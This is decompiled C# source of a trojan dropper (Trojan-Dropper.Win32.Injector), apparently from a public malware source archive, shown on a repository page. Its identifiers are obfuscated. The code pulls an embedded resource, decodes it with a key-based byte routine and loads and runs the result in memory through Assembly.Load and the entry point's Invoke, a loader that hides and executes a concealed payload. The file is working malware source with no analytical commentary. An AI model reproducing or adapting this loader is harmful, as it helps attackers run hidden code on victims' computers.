MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.acsv-43bbe26a7f41a161062d0c91d3d16a0fee497cd0605b1916485a06b4465092c1/ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎ.cs

66 lines
6.4 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: ǣƀƥǣǤӸƔƙƳǥƴƣƜƕơպƙȜƁƂƕƕҿǢƔƄռƋպֆƓƐȄƓƀƐƒռֆպȞӂƋǢƥƴƈƑȣƕƣǍƑƪƕȜƥƂփƓƎƓƜƲȜӸǣƀƙƏƑƴֆƎƄƴƅǢƕƜƁƜƂƉƂơƋƆǍƛ.ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ
// Assembly: cryptbs, Version=2.6.12.79, Culture=neutral, PublicKeyToken=null
// MVID: FC627692-FCDB-4E6B-82E3-E24FD4825A81
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.acsv-43bbe26a7f41a161062d0c91d3d16a0fee497cd0605b1916485a06b4465092c1.exe
using System;
using System.Reflection;
using System.Resources;
using System.Text;
using System.Windows.Forms;
namespace ǣƀƥǣǤӸƔƙƳǥƴƣƜƕơպƙȜƁƂƕƕҿǢƔƄռƋպֆƓƐȄƓƀƐƒռֆպȞӂƋǢƥƴƈƑȣƕƣǍƑƪƕȜƥƂփƓƎƓƜƲȜӸǣƀƙƏƑƴֆƎƄƴƅǢƕƜƁƜƂƉƂơƋƆǍƛ
{
internal class ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ
{
public static ResourceManager պƑƥǍƣƉƙƉƒƲƐȮƴƜƈƘȄƛƐƉƱƍȄƱƏƋƣƜǍǥ = new ResourceManager("aeXA1kMRBuc3", Assembly.GetExecutingAssembly());
private static void Main()
{
try
{
ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ.ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƒռƓփƅƂƥƒȣƑֆƳȮƐơǥƩȞƅƛǍȜƍơƓҧƩƔӂƳƥƎƕƏƒƍƜǥƪƳǤƅƑƉǤփơȄƍǣƏƉƪƍƄƑƈǭƐƐ(Encoding.Default.GetBytes((string) ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ.պƑƥǍƣƉƙƉƒƲƐȮƴƜƈƘȄƛƐƉƱƍȄƱƏƋƣƜǍǥ.GetObject("aQ8ZhGcxsG_zmxYWJVbiUyrnffY")));
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.ToString());
}
}
public static void ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƒռƓփƅƂƥƒȣƑֆƳȮƐơǥƩȞƅƛǍȜƍơƓҧƩƔӂƳƥƎƕƏƒƍƜǥƪƳǤƅƑƉǤփơȄƍǣƏƉƪƍƄƑƈǭƐƐ(
byte[] ƴƪƕփփƗƪƔƩǭȣǎҧƐƎƣƔƆƈƆƑǢƁƗƙӂơƈƕƄռƔӸƉƄƪƱƲȜƪƒǢȄƱǎǢƔƴƘǥƅƕƁƱƐƜǍƔƅƋ)
{
MethodInfo entryPoint = Assembly.Load(ƴƪƕփփƗƪƔƩǭȣǎҧƐƎƣƔƆƈƆƑǢƁƗƙӂơƈƕƄռƔӸƉƄƪƱƲȜƪƒǢȄƱǎǢƔƴƘǥƅƕƁƱƐƜǍƔƅƋ).EntryPoint;
object[] parameters = (object[]) null;
if (entryPoint.GetParameters().Length > 0)
parameters = new object[1]
{
(object) new string[1]{ "1" }
};
entryPoint.Invoke((object) null, parameters);
}
public static byte[] ƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆȞƄƲƖƄƖƎӸƆƍǣǥƎӂƓƅƑƐǥƴȜȮƈǭƅǥƣӸƜƔҧǭƍƈǥռƀơƩӸǥȜƕƜƓƴȜƘȜȜƩǭǍƜպƥǣȮƱƆEn(
byte[] ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ,
string ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖ)
{
byte[] bytes = Encoding.ASCII.GetBytes(ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖ);
int num = (int) ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ[ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1];
byte[] numArray = new byte[ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1];
short index1 = 0;
for (int index2 = 0; index2 < ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1; ++index2)
{
if ((int) index1 >= bytes.Length)
index1 = (short) 0;
if (index2 < ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1)
{
numArray[index2] = Convert.ToByte((int) ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ[index2] - numArray.Length % bytes.Length - (int) bytes[(int) index1] + num);
++index1;
}
}
return numArray;
}
}
}